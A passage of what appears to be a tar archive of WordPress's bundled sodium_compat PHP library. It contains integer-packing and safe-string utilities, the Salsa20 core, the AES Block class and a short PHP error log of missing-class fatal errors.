     * @internal You should not use this directly from another application
     *
     * @param int|float $num
     * @return array<int, int>
     */
    public static function numericTo64BitInteger($num)
    {
        $high = 0;
        /** @var int $low */
        if (PHP_INT_SIZE === 4) {
            $low = (int) $num;
        } else {
            $low = $num & 0xffffffff;
        }

        if ((+(abs($num))) >= 1) {
            if ($num > 0) {
                /** @var int $high */
                $high = min((+(floor($num/4294967296))), 4294967295);
            } else {
                /** @var int $high */
                $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296))));
            }
        }
        return array((int) $high, (int) $low);
    }

    /**
     * Store a 24-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_3($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }
        /** @var string $packed */
        $packed = pack('N', $int);
        return self::substr($packed, 1, 3);
    }

    /**
     * Store a 32-bit integer into a string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store32_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('V', $int);
        return $packed;
    }

    /**
     * Store a 32-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_4($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('N', $int);
        return $packed;
    }

    /**
     * Stores a 64-bit integer as an string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store64_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer, ' . gettype($int) . ' given.');
            }
        }

        if (PHP_INT_SIZE === 8) {
            if (PHP_VERSION_ID >= 50603) {
                /** @var string $packed */
                $packed = pack('P', $int);
                return $packed;
            }
            return self::intToChr($int & 0xff) .
                self::intToChr(($int >>  8) & 0xff) .
                self::intToChr(($int >> 16) & 0xff) .
                self::intToChr(($int >> 24) & 0xff) .
                self::intToChr(($int >> 32) & 0xff) .
                self::intToChr(($int >> 40) & 0xff) .
                self::intToChr(($int >> 48) & 0xff) .
                self::intToChr(($int >> 56) & 0xff);
        }
        if ($int > PHP_INT_MAX) {
            list($hiB, $int) = self::numericTo64BitInteger($int);
        } else {
            $hiB = 0;
        }
        return
            self::intToChr(($int      ) & 0xff) .
            self::intToChr(($int >>  8) & 0xff) .
            self::intToChr(($int >> 16) & 0xff) .
            self::intToChr(($int >> 24) & 0xff) .
            self::intToChr($hiB & 0xff) .
            self::intToChr(($hiB >>  8) & 0xff) .
            self::intToChr(($hiB >> 16) & 0xff) .
            self::intToChr(($hiB >> 24) & 0xff);
    }

    /**
     * Safe string length
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @return int
     * @throws TypeError
     */
    public static function strlen($str)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        return (int) (
        self::isMbStringOverride()
            ? mb_strlen($str, '8bit')
            : strlen($str)
        );
    }

    /**
     * Turn a string into an array of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return array<int, int>
     * @throws TypeError
     */
    public static function stringToIntArray($string)
    {
        if (!is_string($string)) {
            throw new TypeError('String expected');
        }
        /**
         * @var array<int, int>
         */
        $values = array_values(
            unpack('C*', $string)
        );
        return $values;
    }

    /**
     * Safe substring
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @param int $start
     * @param int $length
     * @return string
     * @throws TypeError
     */
    public static function substr($str, $start = 0, $length = null)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        if ($length === 0) {
            return '';
        }

        if (self::isMbStringOverride()) {
            if (PHP_VERSION_ID < 50400 && $length === null) {
                $length = self::strlen($str);
            }
            $sub = (string) mb_substr($str, $start, $length, '8bit');
        } elseif ($length === null) {
            $sub = (string) substr($str, $start);
        } else {
            $sub = (string) substr($str, $start, $length);
        }
        if ($sub !== '') {
            return $sub;
        }
        return '';
    }

    /**
     * Compare a 16-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_16($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 16),
            self::substr($b, 0, 16)
        );
    }

    /**
     * Compare a 32-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_32($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 32),
            self::substr($b, 0, 32)
        );
    }

    /**
     * Calculate $a ^ $b for two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return string
     * @throws TypeError
     */
    public static function xorStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }

        return (string) ($a ^ $b);
    }

    /**
     * Returns whether or not mbstring.func_overload is in effect.
     *
     * @internal You should not use this directly from another application
     *
     * Note: MB_OVERLOAD_STRING === 2, but we don't reference the constant
     * (for nuisance-free PHP 8 support)
     *
     * @return bool
     */
    protected static function isMbStringOverride()
    {
        static $mbstring = null;

        if ($mbstring === null) {
            if (!defined('MB_OVERLOAD_STRING')) {
                $mbstring = false;
                return $mbstring;
            }
            $mbstring = extension_loaded('mbstring')
                && defined('MB_OVERLOAD_STRING')
                &&
            ((int) (ini_get('mbstring.func_overload')) & 2);
            // MB_OVERLOAD_STRING === 2
        }
        /** @var bool $mbstring */

        return $mbstring;
    }
}
Core/Salsa20.php000064400000020051151024233030007341 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Salsa20
 */
abstract class ParagonIE_Sodium_Core_Salsa20 extends ParagonIE_Sodium_Core_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $j0  = $x0  = 0x61707865;
            $j5  = $x5  = 0x3320646e;
            $j10 = $x10 = 0x79622d32;
            $j15 = $x15 = 0x6b206574;
        } else {
            $j0  = $x0  = self::load_4(self::substr($c, 0, 4));
            $j5  = $x5  = self::load_4(self::substr($c, 4, 4));
            $j10 = $x10 = self::load_4(self::substr($c, 8, 4));
            $j15 = $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $j1  = $x1  = self::load_4(self::substr($k, 0, 4));
        $j2  = $x2  = self::load_4(self::substr($k, 4, 4));
        $j3  = $x3  = self::load_4(self::substr($k, 8, 4));
        $j4  = $x4  = self::load_4(self::substr($k, 12, 4));
        $j6  = $x6  = self::load_4(self::substr($in, 0, 4));
        $j7  = $x7  = self::load_4(self::substr($in, 4, 4));
        $j8  = $x8  = self::load_4(self::substr($in, 8, 4));
        $j9  = $x9  = self::load_4(self::substr($in, 12, 4));
        $j11 = $x11 = self::load_4(self::substr($k, 16, 4));
        $j12 = $x12 = self::load_4(self::substr($k, 20, 4));
        $j13 = $x13 = self::load_4(self::substr($k, 24, 4));
        $j14 = $x14 = self::load_4(self::substr($k, 28, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);

            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);

            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);

            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);

            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);

            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);

            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);

            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        $x0  += $j0;
        $x1  += $j1;
        $x2  += $j2;
        $x3  += $j3;
        $x4  += $j4;
        $x5  += $j5;
        $x6  += $j6;
        $x7  += $j7;
        $x8  += $j8;
        $x9  += $j9;
        $x10 += $j10;
        $x11 += $j11;
        $x12 += $j12;
        $x13 += $j13;
        $x14 += $j14;
        $x15 += $j15;

        return self::store32_le($x0) .
            self::store32_le($x1) .
            self::store32_le($x2) .
            self::store32_le($x3) .
            self::store32_le($x4) .
            self::store32_le($x5) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9) .
            self::store32_le($x10) .
            self::store32_le($x11) .
            self::store32_le($x12) .
            self::store32_le($x13) .
            self::store32_le($x14) .
            self::store32_le($x15);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $u
     * @param int $c
     * @return int
     */
    public static function rotate($u, $c)
    {
        $u &= 0xffffffff;
        $c %= 32;
        return (int) (0xffffffff & (
                ($u << $c)
                    |
                ($u >> (32 - $c))
            )
        );
    }
}
Core/AES/error_log000064400000010704151024233030007754 0ustar00[28-Oct-2025 14:07:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:12:28 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:55:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Oct-2025 16:57:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Nov-2025 05:52:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 01:03:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:20:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:51:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[03-Nov-2025 06:59:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Nov-2025 03:52:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Nov-2025 04:29:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[05-Nov-2025 06:58:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES_KeySchedule" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
Core/AES/Block.php000064400000024342151024233030007605 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Block', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Block extends SplFixedArray
{
    /**
     * @var array<int, int>
     */
    protected $values = array();

    /**
     * @var int
     */
    protected $size;

    /**
     * @param int $size
     */
    public function __construct($size = 8)
    {
        parent::__construct($size);
        $this->size = $size;
        $this->values = array_fill(0, $size, 0);
    }

    /**
     * @return self
     */
    public static function init()
    {
        return new self(8);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     *
     * @psalm-suppress MethodSignatureMismatch
     */
    #[ReturnTypeWillChange]
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_AES_Block();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }


    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if (is_null($offset)) {
            $this->values[] = $value;
        } else {
            $this->values[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     *
     * @psalm-suppress MethodSignatureMismatch
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        if (!isset($this->values[$offset])) {
            $this->values[$offset] = 0;
        }
        return (int) ($this->values[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        $out = array();
        foreach ($this->values as $v) {
            $out[] = str_pad(dechex($v), 8, '0', STR_PAD_LEFT);
        }
        return array(implode(', ', $out));
        /*
         return array(implode(', ', $this->values));
         */
    }

    /**
     * @param int $cl low bit mask
     * @param int $ch high bit mask
     * @param int $s shift
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swapN($cl, $ch, $s, $x, $y)
    {
        static $u32mask = ParagonIE_Sodium_Core_Util::U32_MAX;
        $a = $this->values[$x] & $u32mask;
        $b = $this->values[$y] & $u32mask;
        // (x) = (a & cl) | ((b & cl) << (s));
        $this->values[$x] = ($a & $cl) | ((($b & $cl) << $s) & $u32mask);
        // (y) = ((a & ch) >> (s)) | (b & ch);
        $this->values[$y] = ((($a & $ch) & $u32mask) >> $s) | ($b & $ch);
        return $this;
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap2($x, $y)
    {
        return $this->swapN(0x55555555, 0xAAAAAAAA, 1, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap4($x, $y)
    {
        return $this->swapN(0x33333333, 0xCCCCCCCC, 2, $x, $y);
    }

    /**
     * @param int $x index 1
     * @param int $y index 2
     * @return self
     */
    public function swap8($x, $y)
    {
        return $this->swapN(0x0F0F0F0F, 0xF0F0F0F0, 4, $x, $y);
    }

    /**
     * @return self
     */
    public function orthogonalize()
    {
        return $this
            ->swap2(0, 1)
            ->swap2(2, 3)
            ->swap2(4, 5)
            ->swap2(6, 7)

            ->swap4(0, 2)
            ->swap4(1, 3)
            ->swap4(4, 6)
            ->swap4(5, 7)

            ->swap8(0, 4)
            ->swap8(1, 5)
            ->swap8(2, 6)
            ->swap8(3, 7);
    }

    /**
     * @return self
     */
    public function shiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i] & ParagonIE_Sodium_Core_Util::U32_MAX;
            $this->values[$i] = (
                ($x & 0x000000FF)
                    | (($x & 0x0000FC00) >> 2) | (($x & 0x00000300) << 6)
                    | (($x & 0x00F00000) >> 4) | (($x & 0x000F0000) << 4)
                    | (($x & 0xC0000000) >> 6) | (($x & 0x3F000000) << 2)
            ) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $this;
    }

    /**
     * @param int $x
     * @return int
     */
    public static function rotr16($x)
    {
        return (($x << 16) & ParagonIE_Sodium_Core_Util::U32_MAX) | ($x >> 16);
    }

    /**
     * @return self
     */
    public function mixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q7 ^ $r7 ^ $r0 ^ self::rotr16($q0 ^ $r0);
        $this->values[1] = $q0 ^ $r0 ^ $q7 ^ $r7 ^ $r1 ^ self::rotr16($q1 ^ $r1);
        $this->values[2] = $q1 ^ $r1 ^ $r2 ^ self::rotr16($q2 ^ $r2);
        $this->values[3] = $q2 ^ $r2 ^ $q7 ^ $r7 ^ $r3 ^ self::rotr16($q3 ^ $r3);
        $this->values[4] = $q3 ^ $r3 ^ $q7 ^ $r7 ^ $r4 ^ self::rotr16($q4 ^ $r4);
        $this->values[5] = $q4 ^ $r4 ^ $r5 ^ self::rotr16($q5 ^ $r5);
        $this->values[6] = $q5 ^ $r5 ^ $r6 ^ self::rotr16($q6 ^ $r6);
        $this->values[7] = $q6 ^ $r6 ^ $r7 ^ self::rotr16($q7 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseMixColumns()
    {
        $q0 = $this->values[0];
        $q1 = $this->values[1];
        $q2 = $this->values[2];
        $q3 = $this->values[3];
        $q4 = $this->values[4];
        $q5 = $this->values[5];
        $q6 = $this->values[6];
        $q7 = $this->values[7];
        $r0 = (($q0 >> 8) | ($q0 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r1 = (($q1 >> 8) | ($q1 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r2 = (($q2 >> 8) | ($q2 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r3 = (($q3 >> 8) | ($q3 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r4 = (($q4 >> 8) | ($q4 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r5 = (($q5 >> 8) | ($q5 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r6 = (($q6 >> 8) | ($q6 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        $r7 = (($q7 >> 8) | ($q7 << 24)) & ParagonIE_Sodium_Core_Util::U32_MAX;

        $this->values[0] = $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r5 ^ $r7 ^ self::rotr16($q0 ^ $q5 ^ $q6 ^ $r0 ^ $r5);
        $this->values[1] = $q0 ^ $q5 ^ $r0 ^ $r1 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q5 ^ $q7 ^ $r1 ^ $r5 ^ $r6);
        $this->values[2] = $q0 ^ $q1 ^ $q6 ^ $r1 ^ $r2 ^ $r6 ^ $r7 ^ self::rotr16($q0 ^ $q2 ^ $q6 ^ $r2 ^ $r6 ^ $r7);
        $this->values[3] = $q0 ^ $q1 ^ $q2 ^ $q5 ^ $q6 ^ $r0 ^ $r2 ^ $r3 ^ $r5 ^ self::rotr16($q0 ^ $q1 ^ $q3 ^ $q5 ^ $q6 ^ $q7 ^ $r0 ^ $r3 ^ $r5 ^ $r7);
        $this->values[4] = $q1 ^ $q2 ^ $q3 ^ $q5 ^ $r1 ^ $r3 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q1 ^ $q2 ^ $q4 ^ $q5 ^ $q7 ^ $r1 ^ $r4 ^ $r5 ^ $r6);
        $this->values[5] = $q2 ^ $q3 ^ $q4 ^ $q6 ^ $r2 ^ $r4 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q2 ^ $q3 ^ $q5 ^ $q6 ^ $r2 ^ $r5 ^ $r6 ^ $r7);
        $this->values[6] = $q3 ^ $q4 ^ $q5 ^ $q7 ^ $r3 ^ $r5 ^ $r6 ^ $r7 ^ self::rotr16($q3 ^ $q4 ^ $q6 ^ $q7 ^ $r3 ^ $r6 ^ $r7);
        $this->values[7] = $q4 ^ $q5 ^ $q6 ^ $r4 ^ $r6 ^ $r7 ^ self::rotr16($q4 ^ $q5 ^ $q7 ^ $r4 ^ $r7);
        return $this;
    }

    /**
     * @return self
     */
    public function inverseShiftRows()
    {
        for ($i = 0; $i < 8; ++$i) {
            $x = $this->values[$i];
            $this->values[$i] = ParagonIE_Sodium_Core_Util::U32_MAX & (
                ($x & 0x000000FF)
                    | (($x & 0x00003F00) << 2) | (($x & 0x0000C000) >> 6)
                    | (($x & 0x000F0000) << 4) | (($x & 0x00F00000) >> 4)
                    | (($x & 0x03000000) << 6) | (($x & 0xFC000000) >> 2)
            );
        }
        return $this;
    }
}
Core/AES/Expanded.php000064400000000460151024233030010276 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_Expanded', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_Expanded extends ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var bool $expanded */
    protected $expanded = true;
